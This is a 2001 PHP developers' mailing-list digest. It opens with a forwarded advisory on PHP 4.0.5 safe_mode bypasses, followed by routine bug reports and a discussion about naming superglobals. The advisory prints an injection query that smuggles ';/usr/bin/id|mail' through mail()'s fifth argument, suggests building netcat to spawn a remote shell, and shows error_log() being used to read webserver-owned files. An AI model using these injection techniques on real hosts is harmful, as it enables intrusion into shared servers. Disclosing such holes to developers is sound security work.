>  1.1 Impact
>
>   Well, first of all it renders an important part of safe_mode useless.
>
>   Two examples come to mind:
>
>1.1.1 Example 1
>
> A customer has bougt some web space from a provider and is given
> only
> ftp access to upload his files. The customer is not supposed to have
> shell access nor view files outside of his home directory.
>
> The customer could easily upload and compile a "lite" version of the
>
> popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
> install)  and spawn him self a remote shell on the hosting boxen.
>
> If something like suexec is not used by the provider, the shell
> spawned
> could in fact be a "nobody" (uid of webserver) shell. This could
> make
> the situation even worse.
>
> Situations where (virtual) hosting machines are used in a host-based
> authentication scheme, i am not even willing to *consider*.
>
>1.1.2 Example 2
>
> A customer has bought some web space from a provider and was given
> a shell account on the hosting boxen.
>
> If something similiar to suexec is not running the customer could
> spawn
> him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
> The impact of this varies on a per setup/provider basis.
>
> Most providers just dont *expect* someone to have a shell with the
> uid
> of the webserver on the hosting box.
>
> "Internal" scripts, database schemes and database password are
> commonly
> (but sadly) left owned by the uid/gid of the webserver. These become
> vulnerable.
>
> Even webserver configuration files (httpd.conf) and *complete*
> webserver
> roots owned by the uid/gid of the webserver have been observed in
> the wild.
>
> Experience learns that when unexepected-nobody access is gained on a
> (virtual) hosting machine "bad" things are bound to happen sooner or
> later.
>
>  1.2 - Solution
>
>Well, obviously just a "slip" of the PHP-team.
>
>5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
>  2.0 - Description of the problem
>
>   PHP safe_mode has the nice feature of disallowing the opening/reading
>   and writing to files that are not owned by the uid that the script
>   is owned by.
>
>   Though using some "common sense" it still is possible to open/read
>   and write to files that are owned by the uid the webserver is
>   running as.
>
>   *notice* assuming that something like suexec is not in place */notice*
>
>   An attacker could upload a simple script that does the following:
>
>  $cmd = '';
>   error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>   ?>
>
>   For example, assuming that the error_log is owned by the webserver it
>   could be read using a simple query:
>
>   http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
>  2.1 - Impact
>
>   Depends on the setup of the hosting box.
>
>   If suexec or something similiar is used, impact is nihil.
>
>   See also 1.1.1/1.1.2
>
>  2.3 - Solution
>
>   Disallow the changing of the erro

[PHP-DEV] Safe mode hole in mail()

2001-07-02 Thread Jan Lehnardt


Hi,
has this been recognized already? a quick look on the archives said no.


Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
Precedence: bulk
List-Id: 
List-Post: 
List-Help: 
List-Unsubscribe: 
List-Subscribe: 
Delivered-To: mailing list [EMAIL PROTECTED]
Delivered-To: moderator for [EMAIL PROTECTED]
Date: Sat, 30 Jun 2001 12:40:06 +0200
From: Joost Pol <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: php breaks safe mode
User-Agent: Mutt/1.2.5i
X-Keywords:
X-UID: 156

Laberatoire Contempt 

Date : 12/06/2001
Author   : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])  
Impact   : Minor in most cases. 

Subject  : PHP safe_mode troubles. 

1. PHP Version 4.0.5 breaks safe-mode.

 1.0 - Description of the problem
 
  An extra 5th parameter was added to the mail() command breaking
safemode:

  - snippet of the code in mail.c (lines 156-165)

  if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;  
}
sendmail = popen(sendmail_cmd, "w");
  }  }  

  - end of code snippet

  The popen() function is the C library function popen(3).

  An attacker could easily upload a simple evil.php script containing:

   

  Then the script could be invoked using a simple query like:

  http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]

 1.1 Impact

  Well, first of all it renders an important part of safe_mode useless.

  Two examples come to mind:

   1.1.1 Example 1

A customer has bougt some web space from a provider and is given
only
ftp access to upload his files. The customer is not supposed to have
shell access nor view files outside of his home directory.

The customer could easily upload and compile a "lite" version of the

popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
install)and spawn him self a remote shell on the hosting boxen.

If something like suexec is not used by the provider, the shell
spawned
could in fact be a "nobody" (uid of webserver) shell. This could
make
the situation even worse.

Situations where (virtual) hosting machines are used in a host-based
authentication scheme, i am not even willing to *consider*. 

   1.1.2 Example 2

A customer has bought some web space from a provider and was given
a shell account on the hosting boxen. 

If something similiar to suexec is not running the customer could
spawn
him self a nobody (www, web, uid of webserver) shell. (1.1.1)

The impact of this varies on a per setup/provider basis.

Most providers just dont *expect* someone to have a shell with the
uid
of the webserver on the hosting box. 

"Internal" scripts, database schemes and database password are
commonly
(but sadly) left owned by the uid/gid of the webserver. These become
vulnerable.

Even webserver configuration files (httpd.conf) and *complete*
webserver
roots owned by the uid/gid of the webserver have been observed in
the wild.

Experience learns that when unexepected-nobody access is gained on a
(virtual) hosting machine "bad" things are bound to happen sooner or
later.

 1.2 - Solution

   Well, obviously just a "slip" of the PHP-team. 

   5th argument to mail() should not be honored in safe_mode. (MHO)


2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.


 2.0 - Description of the problem
  
  PHP safe_mode has the nice feature of disallowing the opening/reading
  and writing to files that are not owned by the uid that the script
  is owned by.

  Though using some "common sense" it still is possible to open/read 
  and write to files that are owned by the uid the webserver is
  running as.

  *notice* assuming that something like suexec is not in place */notice*

  An attacker could upload a simple script that does the following:

  ';
error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
  ?>

  For example, assuming that the error_log is owned by the webserver it
  could be read using a simple query:

  http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log

 2.1 - Impact

  Depends on the setup of the hosting box.

  If suexec or something similiar is used, impact is nihil.

  See also 1.1.1/1.1.2

 2.3 - Solution

  Disallow the changing of the error_log location in safe_mode?

  Not really for me to say, the PHP-team will come with something good.

  Notice: just changing the error_log function wont do, you could also
  change the ini setting error_log (or another ini setting 
  that has

[PHP-DEV] Bug #11837 Updated: Require nor Include works inner a class file

2001-07-02 Thread derick


ID: 11837
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: Feature/Change Request
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: 
Comments:

Submitted twice

Previous Comments:
---

[2001-07-02 09:44:59] [EMAIL PROTECTED]

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11837&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11837: Require nor Include works inner a class file

2001-07-02 Thread developer


From: [EMAIL PROTECTED]
Operating system: ms nt 4
PHP version:  4.0.4pl1
PHP Bug Type: Feature/Change Request
Bug description:  Require nor Include works inner a class file

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 




-- 
Edit Bug report at: http://bugs.php.net/?id=11837&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11832 Updated: memory exhausted error

2001-07-02 Thread fb


ID: 11832
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Closed
Bug Type: *General Issues
Operating system: Linux 2.2.19
PHP Version: 4.0.6
Description: memory exhausted error



Previous Comments:
---

[2001-07-02 06:20:46] [EMAIL PROTECTED]

Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to
allocate 9 bytes) in
[somewhere]/mysql.php on line 8

Apache 1.3.19, PHP 4.0.6 configured with:
./configure  --prefix=/opt/php4 --with-apxs=/opt/apache/bin/apxs 
--with-pgsql=/opt/pgsql --with-mysql=/opt/mysql/ --with-openssl=/usr/local/ssl/ 
--with-imap=/opt/imap --with-gettext --with-zlib --with-dom --with-gd 
--enable-gd-imgstrttf --enable-inline-optimization --with-xml --with-ttf --with-gdbm 
--with-mm --enable-versioning --enable-trans-sid --enable-magic-quotes 
--enable-safe-mode --enable-sockets --enable-sysvsem --enable-sysvshm --enable-shmop 
--enable-calendar --enable-exif --enable-memory-limit

Might "--enable-memory-limit" be the culprit?
(It's a production system and I can not play much with it)

mysql.php worked correctly with php 4.0.5
mysql.php:
";
$conn  = mysql_connect ($host, $user, $password);
$result= mysql_db_query($db, $query);
while($row = mysql_fetch_array($result))
  $aux[] = $row;
mysql_free_result($result);
return $aux;
  };
  function putData($query)
  {
global $host, $user, $password, $db;
$conn  = mysql_connect ($host, $user, $password);
$result= mysql_db_query($db, $query);
return $query;
  };
?>


---


Full Bug description available at: http://bugs.php.net/?id=11832


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file

2001-07-02 Thread derick


ID: 11836
Updated by: derick
Reported By: [EMAIL PROTECTED]
Status: Open
Old-Bug Type: Scripting Engine problem
Bug Type: Feature/Change Request
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: 
Comments:

Not a bug, this was never supposed to work. making this a feature request.

Derick

Previous Comments:
---

[2001-07-02 09:39:39] [EMAIL PROTECTED]

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11836&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11836: Require nor Include works inner a class file

2001-07-02 Thread developer


From: [EMAIL PROTECTED]
Operating system: ms nt 4
PHP version:  4.0.4pl1
PHP Bug Type: Scripting Engine problem
Bug description:  Require nor Include works inner a class file

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 




-- 
Edit Bug report at: http://bugs.php.net/?id=11836&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11835 Updated: Include and Require does not work inner a class definition.

2001-07-02 Thread developer


ID: 11835
User Update by: [EMAIL PROTECTED]
Status: Closed
Bug Type: Scripting Engine problem
Operating system: win nt 4
PHP Version: 4.0.4pl1
Description: Include and Require does not work inner a class definition.

Well
"include is not allowed there" is not sufficient.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

- Original Message - 

> ID: 11835
> Old-Status: Open
> Status: Closed
> Bug Type: Scripting Engine problem
> 
> include is not allowed there, use the constructor instead
> class {
> function class () {
> include('2.php'); //same with require
> }
> }
> 
> 
> 
> Previous Comments:
> ---
> 
> [2001-07-02 09:14:57] [EMAIL PROTECTED]
> 
> Require nor Include works inner a class file.
> 
> This is the file where I define the class:
> = 1.php =
>  class test {
>   include("2.php"); //the same with require
> }
> ?>
> =  end  =
> 
> And this is the file where I have content.
> = 2.php =
>  var $a=1;
> function method1 () {
>   $this->a++;
> }
> ?>
> =  end  =
> 
> This does not work.
> The error is:
> 
> Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or 
>`'}'' 
> 
> 
> ---
> 

Previous Comments:
---

[2001-07-02 09:19:33] [EMAIL PROTECTED]

include is not allowed there, use the constructor instead
class {
function class ()   {
include('2.php'); //same with require
}
}



---

[2001-07-02 09:14:57] [EMAIL PROTECTED]

Require nor Include works inner a class file.

This is the file where I define the class:
= 1.php =

=  end  =

And this is the file where I have content.
= 2.php =
a++;
}
?>
=  end  =

This does not work.
The error is:

Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or 
`'}'' 


---


Full Bug description available at: http://bugs.php.net/?id=11835


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;

2001-07-02 Thread derick


On Mon, 2 Jul 2001, Zeev Suraski wrote:

> (a) I agree that the names are long
> (b) Remember that you can change the name by simply assigning it around
> (e.g., $GET_A = $HTTP_GET_VARS)

I know this, but then you'll end up with:
$GET_A = $GLOBALS["HTTP_GET_VARS"];
$POST_A = $GLOBALS["HTTP_POST_VARS"];
...

and this is what I don't like in every function :)

> (c) I think that $GET_A is ugly :)  I'd go for something along the lines of
> $__GET

I agree with that, $GET_A was just a proposal.

> (d) Having these variables available on every function means that it's
> going to slow things down, so it's a no-no.  What we can do is do something
> along the lines of $GLOBALS - where it is available in every function that
> *uses* it.  The drawback here is that it means it will not be available via
> indirect reference (i.e., $foo = "__GET", $$foo["bar"]).  I don't think
> it's a serious drawback though.

I think this would be excellent. I don't see any reason why I would
even want to use $foo = "__GET";

regards,
Derick Rethans

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11835 Updated: Include and Require does not work inner a class definition.

2001-07-02 Thread jan


ID: 11835
Updated by: jan
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Scripting Engine problem
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: 
Comments:

include is not allowed there, use the constructor instead
class {
function class ()   {
include('2.php'); //same with require
}
}



Previous Comments:
---

[2001-07-02 09:14:57] [EMAIL PROTECTED]

Require nor Include works inner a class file.

This is the file where I define the class:
= 1.php =

=  end  =

And this is the file where I have content.
= 2.php =
a++;
}
?>
=  end  =

This does not work.
The error is:

Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or 
`'}'' 


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11835&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11835: Include and Require does not work inner a class definition.

2001-07-02 Thread developer


From: [EMAIL PROTECTED]
Operating system: win nt 4
PHP version:  4.0.4pl1
PHP Bug Type: Scripting Engine problem
Bug description:  Include and Require does not work inner a class definition.

Require nor Include works inner a class file.

This is the file where I define the class:
= 1.php =

=  end  =

And this is the file where I have content.
= 2.php =
a++;
}
?>
=  end  =

This does not work.
The error is:

Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or 
`'}'' 



-- 
Edit Bug report at: http://bugs.php.net/?id=11835&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;

2001-07-02 Thread Cynic


At 14:07 7/2/2001, Derick Rethans wrote the following:
-- 
>Hello list,
>
>sometimes I use PHP too, and today I noticed the things I described here.
>Per coincidence, Jani, who is working on the new bugsystem, had the same
>thoughts about this. I'll describe the problem now:
>
>All the arrays which hold the vars are not in de global name space, you
>you will always need to use the "global" keyword, or something like
>$GLOBALS["HTTP_SESSION_VARS"]["username"]; As you all can see, that's way
>to long and cumbersome to type. Just see this example:
>
>global $HTTP_GET_VARS;
>global $HTTP_POST_VARS;
>global $HTTP_COOKIE_VARS;
>
>if( empty($HTTP_GET_VARS['PHPSESSID'])  &&
>empty($HTTP_POST_VARS['PHPSESSID']) &&
>empty($HTTP_COOKIE_VARS['PHPSESSID']) &&
>!empty($sessid)
>
>I think this looks much better:
>if ( empty ($GET_A['PHPSESSID']) &&
> empty ($POST_A['PHPSESSID']) &&
> empty ($COOKIE_A['PHPSESSID']) &&
> !empty ($sessid))

encapsulation!

>I propose to change the names of the arrays and to make these arrays
>available in all functions, this will both eliminate the use of the global
>keyword, and will shorten the names significantly. This will speed op
>coding of course. Our proposal is to use the now second word of the array,
>postfixed by _A (array).

It will also (IMNSHO) lessen the readability of the code. And slow down 
things pretty much -- all that copying all over the place. I don't like it. 
And $GET_A['var'] looks like a function pointer to some fetching function, 
$POST['var'] would post $var somewhere... Dunno what would $COOKIE_A do. :)

PHP is my primary language (99% of time && work done in it).

>regards,
>
>Jani Taskinen
>Derick Rethans




[EMAIL PROTECTED]
-
And the eyes of them both were opened and they saw that their files
were world readable and writable, so they chmoded 600 their files.
- Book of Installation chapt 3 sec 7 


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;

2001-07-02 Thread Zeev Suraski


(a) I agree that the names are long
(b) Remember that you can change the name by simply assigning it around 
(e.g., $GET_A = $HTTP_GET_VARS)
(c) I think that $GET_A is ugly :)  I'd go for something along the lines of 
$__GET
(d) Having these variables available on every function means that it's 
going to slow things down, so it's a no-no.  What we can do is do something 
along the lines of $GLOBALS - where it is available in every function that 
*uses* it.  The drawback here is that it means it will not be available via 
indirect reference (i.e., $foo = "__GET", $$foo["bar"]).  I don't think 
it's a serious drawback though.

Zeev

At 15:07 2/7/2001, Derick Rethans wrote:
>Hello list,
>
>sometimes I use PHP too, and today I noticed the things I described here.
>Per coincidence, Jani, who is working on the new bugsystem, had the same
>thoughts about this. I'll describe the problem now:
>
>All the arrays which hold the vars are not in de global name space, you
>you will always need to use the "global" keyword, or something like
>$GLOBALS["HTTP_SESSION_VARS"]["username"]; As you all can see, that's way
>to long and cumbersome to type. Just see this example:
>
>global $HTTP_GET_VARS;
>global $HTTP_POST_VARS;
>global $HTTP_COOKIE_VARS;
>
>if( empty($HTTP_GET_VARS['PHPSESSID'])  &&
> empty($HTTP_POST_VARS['PHPSESSID']) &&
> empty($HTTP_COOKIE_VARS['PHPSESSID']) &&
> !empty($sessid)
>
>I think this looks much better:
>if ( empty ($GET_A['PHPSESSID']) &&
>  empty ($POST_A['PHPSESSID']) &&
>  empty ($COOKIE_A['PHPSESSID']) &&
>  !empty ($sessid))
>
>I propose to change the names of the arrays and to make these arrays
>available in all functions, this will both eliminate the use of the global
>keyword, and will shorten the names significantly. This will speed op
>coding of course. Our proposal is to use the now second word of the array,
>postfixed by _A (array).
>
>regards,
>
>Jani Taskinen
>Derick Rethans
>
>
>--
>PHP Development Mailing List 
>To unsubscribe, e-mail: [EMAIL PROTECTED]
>For additional commands, e-mail: [EMAIL PROTECTED]
>To contact the list administrators, e-mail: [EMAIL PROTECTED]

--
Zeev Suraski <[EMAIL PROTECTED]>
CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11337 Updated: SEGV when using mysql connections in OO-setting

2001-07-02 Thread schultz


ID: 11337
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Scripting Engine problem
Operating system: RedHat Linux 7.1
PHP Version: 4.0.5
Description: SEGV when using mysql connections in OO-setting

Honestly, I haven't tried it. After the problems we had with 4.0.5, our client (and I) 
decided to move to the more familiar territory of Java. I believe that I still have a 
setup on which I could test 4.0.6 beta, so I'll try to get to that this week. I'll 
post something as soon as I know.

Thanks for your time,
-chris

Previous Comments:
---

[2001-06-27 22:39:57] [EMAIL PROTECTED]

Does this happen with PHP 4.0.6 ?


---

[2001-06-08 14:14:13] [EMAIL PROTECTED]

Please try latest RC from:

http://www.php.net/~andi/php-4.0.6RC3.tar.gz

--Jani


---

[2001-06-07 16:04:48] [EMAIL PROTECTED]

The following is the gdb backtrace of the crash (which I can reproduce every time i 
click the 'reload' button in my browser).
I'd be happy to send the scripts to you (there are several of them that work together, 
since each object is in it's own script file).
I have been having some other strange problems like trying to free mysql result 
resources or close mysql connections and getting warnings that those link or resource 
id's are not valid.

Here's the vital statistics:
OS: RedHat i386 Linux 7.1 with all updates applied from RedHat
MySQL: 3.23.38-1 (RPM from mysql.com)
Apache: 1.3.20, compiled locally (--enable-module=so)
PHP: 4.0.5 compiled/linked against mysql and apache as a DSO (--with-apxs=... 
--with-xml --with-mysql)
I'm using a standard configuration file with one change: the 'include_path' has been 
set to include the scripts necessary for my application. There are no path conflicts 
(that is, the file X.php does not exist relative to the executing script AS WELL AS in 
the include_path).

Thank you for your time.

-chris
(Chris Schultz)

Stack Trace:
(gdb) run -X
Starting program: /usr/local/apache-1.3.20/bin/./httpd -X

Program received signal SIGSEGV, Segmentation fault.
0x400f7d89 in __libc_free (mem=0x813c848) at malloc.c:3055
3055malloc.c: No such file or directory.
in malloc.c
(gdb) bt
#0  0x400f7d89 in __libc_free (mem=0x813c848) at malloc.c:3055
#1  0x401ccf64 in _efree (ptr=0x813c854) at zend_alloc.c:238
#2  0x401cd447 in shutdown_memory_manager (silent=1, clean_cache=0)
at zend_alloc.c:439
#3  0x401f525a in php_request_shutdown (dummy=0x0) at main.c:680
#4  0x401f2df9 in php_apache_request_shutdown (dummy=0x0) at mod_php4.c:290
#5  0x080676b8 in run_cleanups () at eval.c:41
#6  0x08065f82 in ap_clear_pool () at eval.c:41
#7  0x08066002 in ap_destroy_pool () at eval.c:41
#8  0x08065f6e in ap_clear_pool () at eval.c:41
#9  0x080756c5 in child_main () at eval.c:41
#10 0x08075cb8 in make_child () at eval.c:41
#11 0x08075e2c in startup_children () at eval.c:41
#12 0x0807647f in standalone_main () at eval.c:41
#13 0x08076ca7 in main () at eval.c:41
#14 0x40094177 in __libc_start_main (main=0x8076908 , argc=2, 
ubp_av=0xbacc, init=0x804ed5c <_init>, fini=0x80abb90 <_fini>, 
rtld_fini=0x4000e184 <_dl_fini>, stack_end=0xbabc)
at ../sysdeps/generic/libc-start.c:129
(gdb) 

---


Full Bug description available at: http://bugs.php.net/?id=11337


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11834 Updated: ImageType() && IMG_GIF & GD 1.8.4

2001-07-02 Thread jeremy


ID: 11834
User Update by: [EMAIL PROTECTED]
Status: Bogus
Bug Type: GD related
Operating system: Linux Redhat 7.1 2.4.2
PHP Version: 4.0.5
Description: ImageType() && IMG_GIF & GD 1.8.4

Thanks!

Previous Comments:
---

[2001-07-02 08:43:17] [EMAIL PROTECTED]

Oops! RTFM Again!

---

[2001-07-02 08:40:39] [EMAIL PROTECTED]

User error = bogus

---

[2001-07-02 08:36:05] [EMAIL PROTECTED]

That's incorrect code, its:

if (ImageTypes() & IMG_GIF) {



---

[2001-07-02 08:32:45] [EMAIL PROTECTED]

Trying:

if (ImageTypes() && IMG_GIF) {
  echo 'GIFS enabled';
  $im = imagecreatefromgif('img.gif');
}

Still works with GD library that does not support GIFS 
producing 'Warning: ImageCreateFromGif: No GIF support in 
this PHP build' - it should not have got that far!


'./configure' '--with-mysql=/usr/local/mysql' 
'--enable-track-vars' '--enable-safe-mode' 
'--with-apxs=/usr/local/apache/bin/apxs' 
'--with-zlib=/usr/local/lib' '--with-gd' 
'--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' 
'--with-png-dir=/usr/local' '--enable-shared' 
'--with-sablot=/usr/local' 
'--enable-sablot-errors-descriptive' '--with-xml' 
'--no-create' '--no-recursion'

---


Full Bug description available at: http://bugs.php.net/?id=11834


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11834 Updated: ImageType() && IMG_GIF & GD 1.8.4

2001-07-02 Thread jeremy


ID: 11834
User Update by: [EMAIL PROTECTED]
Status: Bogus
Bug Type: GD related
Operating system: Linux Redhat 7.1 2.4.2
PHP Version: 4.0.5
Description: ImageType() && IMG_GIF & GD 1.8.4

Oops! RTFM Again!

Previous Comments:
---

[2001-07-02 08:40:39] [EMAIL PROTECTED]

User error = bogus

---

[2001-07-02 08:36:05] [EMAIL PROTECTED]

That's incorrect code, its:

if (ImageTypes() & IMG_GIF) {



---

[2001-07-02 08:32:45] [EMAIL PROTECTED]

Trying:

if (ImageTypes() && IMG_GIF) {
  echo 'GIFS enabled';
  $im = imagecreatefromgif('img.gif');
}

Still works with GD library that does not support GIFS 
producing 'Warning: ImageCreateFromGif: No GIF support in 
this PHP build' - it should not have got that far!


'./configure' '--with-mysql=/usr/local/mysql' 
'--enable-track-vars' '--enable-safe-mode' 
'--with-apxs=/usr/local/apache/bin/apxs' 
'--with-zlib=/usr/local/lib' '--with-gd' 
'--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' 
'--with-png-dir=/usr/local' '--enable-shared' 
'--with-sablot=/usr/local' 
'--enable-sablot-errors-descriptive' '--with-xml' 
'--no-create' '--no-recursion'

---


Full Bug description available at: http://bugs.php.net/?id=11834


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11834 Updated: ImageType() && IMG_GIF & GD 1.8.4

2001-07-02 Thread derick


ID: 11834
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Closed
Status: Bogus
Bug Type: GD related
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

User error = bogus

Previous Comments:
---

[2001-07-02 08:36:05] [EMAIL PROTECTED]

That's incorrect code, its:

if (ImageTypes() & IMG_GIF) {



---

[2001-07-02 08:32:45] [EMAIL PROTECTED]

Trying:

if (ImageTypes() && IMG_GIF) {
  echo 'GIFS enabled';
  $im = imagecreatefromgif('img.gif');
}

Still works with GD library that does not support GIFS 
producing 'Warning: ImageCreateFromGif: No GIF support in 
this PHP build' - it should not have got that far!


'./configure' '--with-mysql=/usr/local/mysql' 
'--enable-track-vars' '--enable-safe-mode' 
'--with-apxs=/usr/local/apache/bin/apxs' 
'--with-zlib=/usr/local/lib' '--with-gd' 
'--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' 
'--with-png-dir=/usr/local' '--enable-shared' 
'--with-sablot=/usr/local' 
'--enable-sablot-errors-descriptive' '--with-xml' 
'--no-create' '--no-recursion'

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11834&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11834 Updated: ImageType() && IMG_GIF & GD 1.8.4

2001-07-02 Thread sterling


ID: 11834
Updated by: sterling
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: GD related
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

That's incorrect code, its:

if (ImageTypes() & IMG_GIF) {



